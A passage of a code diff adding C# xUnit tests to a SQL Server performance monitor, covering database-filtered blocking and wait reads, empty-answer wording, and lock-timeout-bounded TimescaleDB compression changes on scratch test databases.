+        Assert.Equal(End.AddDays(-1), BlockingThresholdCoverage.Combine(null, End.AddDays(-1), false, null, false));
+    }
+
+    [Fact]
+    public void NonzeroSnapshotsInTheWindow_WithNoZeroSeen_LeaveTodaysAnswer()
+    {
+        /* The snapshots before the window may have been purged, or never taken: no zero seen means the threshold's start is unknown, not late. */
+        Assert.Equal(Start, BlockingThresholdCoverage.Combine(Start, End.AddDays(-1), false, End.AddDays(-4), sawZeroSnapshot: false));
+        Assert.Equal(End.AddDays(-1), BlockingThresholdCoverage.Combine(null, End.AddDays(-1), false, End.AddDays(-4), false));
+    }
+
+    [Fact]
+    public void NothingKnown_IsNull()
+    {
+        Assert.Null(BlockingThresholdCoverage.Combine(null, null, false, null, false));
+        Assert.Null(BlockingThresholdCoverage.Combine(null, null, true, null, true));
+    }
+
+    [Fact]
+    public void NoCollectorCoverage_TakesTheThresholdStart_ButNeverLaterThanTheReport()
+    {
+        Assert.Equal(End.AddDays(-4), BlockingThresholdCoverage.Combine(null, End.AddDays(-3), false, End.AddDays(-4), true));
+        Assert.Equal(End.AddDays(-5), BlockingThresholdCoverage.Combine(null, End.AddDays(-5), false, End.AddDays(-4), true));
+    }
+}
diff --git a/Darling/Darling.Tests/BlockingWaitsFilteredEmptyWordingTests.cs b/Darling/Darling.Tests/BlockingWaitsFilteredEmptyWordingTests.cs
new file mode 100644
index 0000000000..b7a0d1ba61
--- /dev/null
+++ b/Darling/Darling.Tests/BlockingWaitsFilteredEmptyWordingTests.cs
@@ -0,0 +1,37 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5244 PR3 (W3 wording carry): a filtered empty answer reads the same in Darling and Lite. These are the words Lite's
+/// <c>McpDatabaseSelectionTests</c> pins with the same literals: the name for one database, "the chosen databases" for two or more.
+/// </summary>
+public sealed class BlockingWaitsFilteredEmptyWordingTests
+{
+    [Fact]
+    public void Describe_IsTheNameForOne_AndTheChosenDatabasesForTwoOrMore_AndNothingForAll()
+    {
+        Assert.Null(DatabaseFilter.All.Describe());
+        Assert.Equal("A", DatabaseFilter.One("A").Describe());
+        Assert.Equal("the chosen databases", DatabaseFilter.Of(["A", "B"]).Describe());
+        Assert.Equal("the chosen databases", DatabaseFilter.ManyDatabasesDescription);
+    }
+
+    [Fact]
+    public void TheEmptyAnswerSentence_SaysTheDatabaseForOne_AndTheChosenDatabasesForTwoOrMore()
+    {
+        Assert.Equal(string.Empty, DarlingMcpBlockingTools.ForChosenDatabases(DatabaseFilter.All));
+        Assert.Equal(" for the database A", DarlingMcpBlockingTools.ForChosenDatabases(DatabaseFilter.One("A")));
+        Assert.Equal(" for the chosen databases", DarlingMcpBlockingTools.ForChosenDatabases(DatabaseFilter.Of(["A", "B"])));
+    }
+}
diff --git a/Darling/Darling.Tests/BlockingWaitsWebDispatchLiveTests.cs b/Darling/Darling.Tests/BlockingWaitsWebDispatchLiveTests.cs
new file mode 100644
index 0000000000..c7966bf7c1
--- /dev/null
+++ b/Darling/Darling.Tests/BlockingWaitsWebDispatchLiveTests.cs
@@ -0,0 +1,161 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Microsoft.AspNetCore.Http;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5244 PR3 (lane W3): the six blocking and waits reads the Blocking and Current Waits panels drive, called the way the page calls
+/// them, through the web read dispatch with two REPEATED <c>database_name</c> keys over a seed of databases A, B and C. Each read
+/// must answer with A's and B's rows and none of C's. On the base the dispatch ignored the key, so each read returned all three.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class BlockingWaitsWebDispatchLiveTests
+{
+    private const string ServerName = "darling-w3-blocking-waits-web";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    private static readonly string[] Reads =
+    [
+        "get_waiting_tasks", "get_blocking", "get_blocked_process_xml",
+        "get_blocking_trend", "get_current_waits_trend", "get_blocking_stats",
+    ];
+
+    private static async Task<string> WebReadAsync(NpgsqlDataSource postgres, string read, params string[] databases)
+    {
+        var query = new List<KeyValuePair<string, string?>> { new("server_name", ServerName), new("hours_back", "2") };
+        query.AddRange(databases.Select(d => new KeyValuePair<string, string?>("database_name", d)));
+        var context = new DefaultHttpContext();
+        context.Request.QueryString = QueryString.Create(query);
+        return await DarlingWebEndpoints.BuildReadDispatch()[read](context, postgres, null!);
+    }
+
+    /// <summary>The databases (or, for the two count series, the total count) a read's answer covers.</summary>
+    private static (List<string> Databases, long Count) CoverageOf(string read, string json)
+    {
+        var root = JsonDocument.Parse(json).RootElement;
+        List<string> Databases(string property)
+        {
+            Assert.True(root.TryGetProperty(property, out var rows), $"{read}: not the success shape: {json}");
+            return rows.EnumerateArray().Select(r => r.GetProperty("database_name").GetString()!).Distinct().OrderBy(n => n, StringComparer.Ordinal).ToList();
+        }
+        long Total(string property, string field)
+        {
+            Assert.True(root.TryGetProperty(property, out var rows), $"{read}: not the success shape: {json}");
+            return rows.EnumerateArray().Sum(p => p.GetProperty(field).GetInt64());
+        }
+        return read switch
+        {
+            "get_waiting_tasks" => (Databases("tasks"), 0),
+            "get_blocking" => (Databases("events"), 0),
+            "get_blocked_process_xml" => (Databases("reports"), 0),
+            "get_current_waits_trend" => (Databases("blocked_sessions"), 0),
+            "get_blocking_trend" => ([], Total("trend", "count")),
+            _ => ([], Total("blocking_duration", "event_count")),
+        };
+    }
+
+    [Fact]
+    public async Task EachOfTheSixReads_WithTwoChosenDatabases_ReturnsOnlyThoseDatabasesRows()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live blocking and waits web dispatch tests.");
+        var ct = TestContext.Current.CancellationToken;
+
+        // #1776 own-store: a scratch database, so no other class's chunks shape the store under test (#4650).
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var cs = scratch.ConnectionString;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        if (await LiveTimescaleProbe.TryEnableAsync(cs, ct))
+        {
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+            await using var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection);
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var postgres = NpgsqlDataSource.Create(cs);
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+
+            var spid = 100;
+            foreach (var db in new[] { "A", "B", "C" })
+            {
+                spid++;
+                var eventTime = DarlingMcpTestData.Naive(now.AddMinutes(-10));
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name,
+     blocked_spid, blocked_ecid, blocking_spid, blocking_ecid, wait_time_ms, lock_mode,
+     blocked_sql_text, blocking_sql_text, blocked_process_report_xml)
+VALUES ($1,$2,$3,$4,$5,$6,$7,0,$8,0,1000,'X','SELECT 1','UPDATE t SET c = 1','<blocked-process-report/>')",
+                    CollectionIdGenerator.Next(), eventTime.AddSeconds(30), ServerId, ServerName, eventTime, db, spid, 900 + spid);
+
+                /* A blocked waiting task per database, so the blocked-session series and the waiting-task list both have a row each. */
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO waiting_tasks (collection_id, collection_time, server_id, server_name, session_id, wait_type, wait_duration_ms, blocking_session_id, resource_description, database_name)
+VALUES ($1,$2,$3,$4,$5,'LCK_M_S',3000,90,NULL,$6)",
+                    CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(now.AddMinutes(-10)), ServerId, ServerName, spid, db);
+            }
+
+            /* The collectors ran, so a trend's empty answer is an all-clear and not a gap. */
+            foreach (var collector in new[] { "blocked_process_report", "waiting_tasks" })
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+VALUES ($1,$2,$3,$4,$5,100,'SUCCESS',0)",
+                    CollectionIdGenerator.Next(), ServerId, ServerName, collector, DarlingMcpTestData.Naive(now.AddMinutes(-30)));
+            }
+
+            foreach (var read in Reads)
+            {
+                var all = CoverageOf(read, await WebReadAsync(postgres, read));
+                var chosen = CoverageOf(read, await WebReadAsync(postgres, read, "A", "B"));
+                if (read is "get_blocking_trend" or "get_blocking_stats")
+                {
+                    Assert.True(all.Count == 3, $"{read}: the control (no database_name) counted {all.Count}, not 3");
+                    Assert.True(chosen.Count == 2, $"{read} over A and B counted {chosen.Count}, not 2");
+                }
+                else
+                {
+                    Assert.True(new[] { "A", "B", "C" }.SequenceEqual(all.Databases), $"{read}: the control covered [{string.Join(",", all.Databases)}]");
+                    Assert.True(new[] { "A", "B" }.SequenceEqual(chosen.Databases), $"{read} over A and B covered [{string.Join(",", chosen.Databases)}]");
+                }
+
+                /* A blank-only list is refused, never widened to "all databases". */
+                var refused = JsonDocument.Parse(await WebReadAsync(postgres, read, "  ", "")).RootElement;
+                Assert.True(refused.GetProperty("status").GetString() == "invalid", $"{read}: a blank-only database_name must be refused");
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DarlingMcpTestData.ExecAsync(cleanup, cleanupCt,
+                    $"DELETE FROM waiting_tasks WHERE server_id = {ServerId}; DELETE FROM blocked_process_reports WHERE server_id = {ServerId}; DELETE FROM collection_log WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId};"));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/BoundedCompressionDdlTests.cs b/Darling/Darling.Tests/BoundedCompressionDdlTests.cs
new file mode 100644
index 0000000000..62d904412f
--- /dev/null
+++ b/Darling/Darling.Tests/BoundedCompressionDdlTests.cs
@@ -0,0 +1,190 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The compression-settings ALTERs on the hourly pass wait for their AccessExclusiveLock at most
+/// <see cref="TimescaleSupport.HourlyDdlLockTimeout"/>, so a long reader cannot queue every collector write
+/// behind them (#4970). Source pins for the wiring, a live lock-holder pin for the behaviour, and the rule for a
+/// failed settings read.
+/// </summary>
+/* #1776 own-store: each live fact mints its own scratch database through ScratchPostgres. */
+[Collection("timing")]
+public sealed class BoundedCompressionDdlTests
+{
+    private static string Storage() =>
+        RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "TimescaleSupport.cs").Replace("\r\n", "\n");
+
+    private static string Body(string text, string signature)
+    {
+        var start = text.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(start >= 0, $"could not locate {signature}");
+        var end = text.IndexOf("\n    }\n", start, StringComparison.Ordinal);
+        Assert.True(end > start, $"could not find the end of {signature}");
+        return text.Substring(start, end - start);
+    }
+
+    [Fact]
+    public void TheHelper_RunsInsideATransaction_WithASetLocalLockTimeout_AndCatchesLockNotAvailable()
+    {
+        var helper = Body(Storage(), "internal static async Task<BoundedDdlOutcome> TryRunBoundedDdlAsync(");
+        Assert.Contains("BeginTransactionAsync", helper, StringComparison.Ordinal);
+        Assert.Contains("SET LOCAL lock_timeout", helper, StringComparison.Ordinal);
+        Assert.Contains("PostgresErrorCodes.LockNotAvailable", helper, StringComparison.Ordinal);
+        Assert.Contains("CommitAsync", helper, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void BothCompressionAlters_GoThroughTheHelper_NotAnUnboundedCommand()
+    {
+        var text = Storage();
+        var collector = Body(text, "public static async Task<int> ApplyCompressionPolicyAsync(");
+        var aggregate = Body(text, "public static async Task<int> EnsureAggregateCompressionAsync(");
+
+        Assert.Contains("TryRunBoundedDdlAsync(", collector, StringComparison.Ordinal);
+        Assert.Contains("EnableCompressionSql(schema)", collector, StringComparison.Ordinal);
+        Assert.DoesNotContain("new NpgsqlCommand(EnableCompressionSql(schema)", collector, StringComparison.Ordinal);
+
+        Assert.Contains("TryRunBoundedDdlAsync(", aggregate, StringComparison.Ordinal);
+        Assert.DoesNotContain("new NpgsqlCommand(EnableAggregateCompressionSql(view)", aggregate, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheHourlyPass_SkipsTheEnableAlters_AfterAFailedRead_AndTheStartPathDoesNot()
+    {
+        var text = Storage();
+        var collector = Body(text, "public static async Task<int> ApplyCompressionPolicyAsync(");
+        Assert.Contains("bool hourly, CancellationToken cancellationToken", collector, StringComparison.Ordinal);
+        Assert.Contains("var skipEnable = hourly && converged is null;", collector, StringComparison.Ordinal);
+        Assert.Contains("if (skipEnable)", collector, StringComparison.Ordinal);
+
+        var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs").Replace("\r\n", "\n");
+        Assert.Contains("ApplyCompressionPolicyAsync(connection, logger, hourly: true, ct)", worker, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AFailedSettingsRead_SkipsTheAltersOnTheHourlyPass_AndIssuesThemOnTheStartPath()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live failed-read pin.");
+        var ct = TestContext.Current.CancellationToken;
+
+        /* A scratch database with no TimescaleDB extension: the settings read fails (no timescaledb_information
+           schema), which is the failed-read case without a mock. */
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+
+        await ExecAsync(connection, "DROP EXTENSION IF EXISTS timescaledb CASCADE", ct);
+
+        var hourlyLog = new CapturingTestLogger();
+        await TimescaleSupport.ApplyCompressionPolicyAsync(connection, hourlyLog, hourly: true, ct);
+        Assert.Equal(1, hourlyLog.Lines.Count(l => l.Contains("skipping the compression-enable ALTERs", StringComparison.Ordinal)));
+        Assert.DoesNotContain(hourlyLog.Lines, l => l.Contains("compression settings on collect.", StringComparison.Ordinal));
+
+        var startLog = new CapturingTestLogger();
+        await TimescaleSupport.ApplyCompressionPolicyAsync(connection, startLog, ct);
+        Assert.DoesNotContain(startLog.Lines, l => l.Contains("skipping the compression-enable ALTERs", StringComparison.Ordinal));
+        Assert.Contains(startLog.Lines, l => l.Contains("compression settings on collect.", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task ALongReader_CannotStallTheHourlyEnableAlter_OrTheWritesBehindIt_AndTheNextPassConverges()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live lock-holder pin.");
+        var ct = TestContext.Current.CancellationToken;
+        const string Table = "wait_stats";
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.True(await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct), "TimescaleDB must be available");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+
+        Assert.DoesNotContain(Table, await TimescaleSupport.ReadTablesNeedingCompressionEnableAsync(connection, null, ct) ?? throw new InvalidOperationException("read failed"));
+
+        using var holder = new NpgsqlConnection(scratch.ConnectionString);
+        await holder.OpenAsync(ct);
+        using var writer = new NpgsqlConnection(scratch.ConnectionString);
+        await writer.OpenAsync(ct);
+
+        var log = new CapturingTestLogger();
+        var holding = true;
+        try
+        {
+            await ExecAsync(holder, "BEGIN", ct);
+            await ExecAsync(holder, $"SELECT 1 FROM collect.{Table} LIMIT 1", ct);
+
+            var clock = Stopwatch.StartNew();
+            var pass = Task.Run(() => TimescaleSupport.ApplyCompressionPolicyAsync(connection, log, hourly: true, ct), ct);
+
+            /* The INSERT is timed while the ALTER is still queued for its lock. */
+            using var observer = new NpgsqlConnection(scratch.ConnectionString);
+            await observer.OpenAsync(ct);
+            var waiting = false;
+            var pollClock = Stopwatch.StartNew();
+            while (!waiting && pollClock.Elapsed < TimeSpan.FromSeconds(5))
+            {
+                using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_locks l JOIN pg_class c ON c.oid = l.relation JOIN pg_namespace n ON n.oid = c.relnamespace " +
+                    "WHERE l.mode = 'AccessExclusiveLock' AND NOT l.granted AND n.nspname = 'collect' AND c.relname = @t", observer);
+                probe.Parameters.AddWithValue("t", Table);
+                waiting = Convert.ToInt64(await probe.ExecuteScalarAsync(ct), System.Globalization.CultureInfo.InvariantCulture) > 0;
+                if (!waiting)
+                {
+                    await Task.Delay(50, ct);
+                }
+            }
+
+            Assert.True(waiting, $"the ALTER on collect.{Table} never showed an ungranted AccessExclusiveLock request within 5 s");
+            var lockTimeout = TimeSpan.FromSeconds(int.Parse(TimescaleSupport.HourlyDdlLockTimeout.TrimEnd('s'), System.Globalization.CultureInfo.InvariantCulture));
+            var insertClock = Stopwatch.StartNew();
+            await ExecAsync(writer,
+                $"INSERT INTO collect.{Table} (collection_id, collection_time, server_id, server_name, wait_type, delta_waiting_tasks, delta_wait_time_ms, sample_interval_seconds) VALUES (1, now(), 1, 's', 'W', 1, 1, 1)", ct);
+            Assert.True(insertClock.Elapsed < lockTimeout + TimeSpan.FromSeconds(1.5), $"the insert must not queue behind the waiting ALTER, took {insertClock.Elapsed}");
+
+            await pass;
+            Assert.True(clock.Elapsed < TimeSpan.FromSeconds(10), $"the pass must return in a bounded time, took {clock.Elapsed}");
+
+            Assert.DoesNotContain(Table, await TimescaleSupport.ReadTablesNeedingCompressionEnableAsync(connection, null, ct) ?? throw new InvalidOperationException("read failed"));
+            Assert.Equal(1, log.Lines.Count(l => l.Contains($"collect.{Table}", StringComparison.Ordinal) && l.Contains("not changed this pass", StringComparison.Ordinal)));
+
+            await ExecAsync(holder, "ROLLBACK", ct);
+            holding = false;
+            await TimescaleSupport.ApplyCompressionPolicyAsync(connection, log, hourly: true, ct);
+            var after = await TimescaleSupport.ReadTablesNeedingCompressionEnableAsync(connection, null, ct) ?? throw new InvalidOperationException("read failed");
+            Assert.Contains(Table, after);
+        }
+        finally
+        {
+            if (holding)
+            {
+                await ExecAsync(holder, "ROLLBACK", CancellationTokenNone());
+            }
+        }
+    }
+
+    private static System.Threading.CancellationToken CancellationTokenNone() => System.Threading.CancellationToken.None;
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 60 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/BoundedDdlBusyStreakTests.cs b/Darling/Darling.Tests/BoundedDdlBusyStreakTests.cs
new file mode 100644
index 0000000000..e1bcda6078
--- /dev/null
+++ b/Darling/Darling.Tests/BoundedDdlBusyStreakTests.cs
@@ -0,0 +1,163 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A bounded change whose table stays busy pass after pass escalates once to a Warning and says so when it
+/// finally converges (#4980).
+/// </summary>
+public sealed class BoundedDdlBusyStreakTests
+{
+    private static readonly DateTime T0 = new(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+
+    private static bool Busy(BoundedDdlBusyStreaks s, string key, int n = 1)
+    {
+        var escalated = false;
+        for (var i = 0; i < n; i++)
+        {
+            escalated |= s.RecordBusy(key, T0.AddHours(i), out _, out _);
+        }
+
+        return escalated;
+    }
+
+    [Fact]
+    public void TwoBusyPasses_DoNotEscalate()
+    {
+        var s = new BoundedDdlBusyStreaks();
+        Assert.False(Busy(s, "a", 2));
+    }
+
+    [Fact]
+    public void TheThirdBusyPass_EscalatesOnce_AndOnlyOnce()
+    {
+        var s = new BoundedDdlBusyStreaks();
+        Assert.False(Busy(s, "a", 2));
+        Assert.True(s.RecordBusy("a", T0.AddHours(2), out var passes, out var first));
+        Assert.Equal(BoundedDdlBusyStreaks.EscalateAfter, passes);
+        Assert.Equal(T0, first);
+        Assert.False(Busy(s, "a", 1));
+        Assert.False(Busy(s, "a", 1));
+    }
+
+    [Fact]
+    public void AnApplied_ClearsTheStreak_AndReportsItHadEscalated_ThenItCanEscalateAgain()
+    {
+        var s = new BoundedDdlBusyStreaks();
+        Assert.True(Busy(s, "a", 3));
+        Assert.True(s.Clear("a", out var passes));
+        Assert.Equal(3, passes);
+        Assert.False(s.Clear("a", out _));
+        Assert.False(Busy(s, "a", 2));
+        Assert.True(Busy(s, "a", 1));
+    }
+
+    [Fact]
+    public void AClear_BeforeEscalation_ReportsNoEscalation_AndRestartsTheCount()
+    {
+        var s = new BoundedDdlBusyStreaks();
+        Assert.False(Busy(s, "a", 2));
+        Assert.False(s.Clear("a", out _));
+        Assert.False(Busy(s, "a", 2));
+    }
+
+    [Fact]
+    public void TwoObjects_DoNotShareAStreak()
+    {
+        var s = new BoundedDdlBusyStreaks();
+        Assert.False(Busy(s, "a", 2));
+        Assert.False(Busy(s, "b", 2));
+        Assert.True(Busy(s, "a", 1));
+        Assert.True(Busy(s, "b", 1));
+    }
+
+    [Fact]
+    public void TheWiring_ClearsOnApplied_AndOnFailed_AndEscalatesOnBusy()
+    {
+        var text = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "TimescaleSupport.cs").Replace("\r\n", "\n");
+        var start = text.IndexOf("internal static async Task<BoundedDdlOutcome> TryRunBoundedDdlAsync(", StringComparison.Ordinal);
+        Assert.True(start > 0);
+        var body = text.Substring(start, text.IndexOf("\n    }\n", start, StringComparison.Ordinal) - start);
+        Assert.Contains("BusyStreaks.RecordBusy(what", body, StringComparison.Ordinal);
+        /* Applied, Failed, and (#5574) a relation that is gone: a chunk dropped by retention must not leave its streak behind. */
+        Assert.Equal(3, body.Split("BusyStreaks.Clear(what", StringSplitOptions.None).Length - 1);
+        Assert.Contains("LogWarning", body, StringComparison.Ordinal);
+    }
+}
+
+/* #1776 own-store: this fact mints its own scratch database through ScratchPostgres and never touches another
+   store. */
+public sealed class BoundedDdlBusyStreakLiveTests
+{
+    [Fact]
+    public async Task ABusyTable_WarnsOnceOnTheThirdPass_AndSaysSoWhenItConverges()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live busy-streak pin.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.True(await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct), "TimescaleDB must be available");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+
+        // A key no other test records into, so the process-wide streaks stay untouched.
+        var What = $"compression settings on collect.wait_stats (busy-streak test {Guid.NewGuid():N})";
+        var statements = new[] { "ALTER TABLE collect.wait_stats SET (timescaledb.compress)" };
+        var log = new CapturingTestLogger();
+
+        using var holder = new NpgsqlConnection(scratch.ConnectionString);
+        await holder.OpenAsync(ct);
+        var holding = true;
+        try
+        {
+            await Exec(holder, "BEGIN", ct);
+            await Exec(holder, "SELECT 1 FROM collect.wait_stats LIMIT 1", ct);
+
+            for (var i = 0; i < BoundedDdlBusyStreaks.EscalateAfter; i++)
+            {
+                var outcome = await TimescaleSupport.TryRunBoundedDdlAsync(connection, statements, log, What, ct);
+                Assert.Equal(TimescaleSupport.BoundedDdlOutcome.LockBusy, outcome);
+            }
+
+            Assert.Equal(1, log.CountAtLevel(LogLevel.Warning));
+            Assert.Contains(log.Lines, l => l.StartsWith("Warning:", StringComparison.Ordinal) && l.Contains(What, StringComparison.Ordinal));
+
+            await Exec(holder, "ROLLBACK", ct);
+            holding = false;
+            var applied = await TimescaleSupport.TryRunBoundedDdlAsync(connection, statements, log, What, ct);
+            Assert.Equal(TimescaleSupport.BoundedDdlOutcome.Applied, applied);
+            Assert.Equal(1, log.CountAtLevel(LogLevel.Warning));
+            Assert.Contains(log.Lines, l => l.StartsWith("Information:", StringComparison.Ordinal) && l.Contains("busy passes", StringComparison.Ordinal));
+        }
+        finally
+        {
+            if (holding)
+            {
+                await Exec(holder, "ROLLBACK", System.Threading.CancellationToken.None);
+            }
+        }
+    }
+
+    private static async Task Exec(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 60 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/BoundedDdlSingleCopyTests.cs b/Darling/Darling.Tests/BoundedDdlSingleCopyTests.cs
new file mode 100644
index 0000000000..40ff6dd58d
--- /dev/null
+++ b/Darling/Darling.Tests/BoundedDdlSingleCopyTests.cs
@@ -0,0 +1,82 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The bounded compression DDL has one copy: <c>TimescaleSupport.TryRunBoundedDdlAsync</c> is the only place that
+/// sets the hourly lock timeout, and every compression-enable ALTER goes through it (#4970).
+/// </summary>
+public sealed class BoundedDdlSingleCopyTests
+{
+    private static string Storage() =>
+        RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "TimescaleSupport.cs").Replace("\r\n", "\n");
+
+    private static string[] CodeLines() =>
+        CSharpSourceWalker.StripCommentsAndStrings(Storage()).Split('\n');
+
+    [Fact]
+    public void TheHourlyLockTimeout_IsSetInOneMethodOnly()
+    {
+        var text = Storage();
+        const string setLocal = "SET LOCAL lock_timeout = '{HourlyDdlLockTimeout}'";
+        var first = text.IndexOf(setLocal, StringComparison.Ordinal);
+        Assert.True(first >= 0, "could not find the helper's SET LOCAL lock_timeout");
+        Assert.Equal(-1, text.IndexOf(setLocal, first + 1, StringComparison.Ordinal));
+        var helper = text.IndexOf("internal static async Task<BoundedDdlOutcome> TryRunBoundedDdlAsync(", StringComparison.Ordinal);
+        Assert.True(helper >= 0 && helper < first && first - helper < 1200,
+            "the one SET LOCAL lock_timeout must sit inside TryRunBoundedDdlAsync");
+        /* Two overloads since #5574 (the statement-list one calls the body one, which owns the SET LOCAL above); a third
+           would be a second copy of the helper. */
+        Assert.Equal(2, text.Split("BoundedDdlOutcome> TryRun", StringSplitOptions.None).Length - 1);
+    }
+
+    [Fact]
+    public void EveryCompressionEnableAlter_IsAStatementPassedToTheHelper()
+    {
+        var lines = CodeLines();
+        var uses = lines.Select((l, i) => (l, i))
+            .Where(x => (x.l.Contains("EnableCompressionSql(", StringComparison.Ordinal) || x.l.Contains("EnableAggregateCompressionSql(", StringComparison.Ordinal))
+                && !x.l.Contains("public static string", StringComparison.Ordinal)
+                && !x.l.Contains("return EnableCompressionSql(", StringComparison.Ordinal))
+            .ToArray();
+        Assert.Equal(3, uses.Length);
+        foreach (var (line, index) in uses)
+        {
+            Assert.Contains("new[] {", line, StringComparison.Ordinal);
+            Assert.Contains("TryRunBoundedDdlAsync(", lines[index - 1], StringComparison.Ordinal);
+        }
+
+        Assert.DoesNotContain("new NpgsqlCommand(EnableCompressionSql(", Storage(), StringComparison.Ordinal);
+        Assert.DoesNotContain("new NpgsqlCommand(EnableAggregateCompressionSql(", Storage(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ThePrivateCollectionLogCopy_IsGone()
+    {
+        var text = Storage();
+        Assert.DoesNotContain("TrySetCollectionLogCompressionAsync", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("CollectionLogSettingsLockTimeout", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
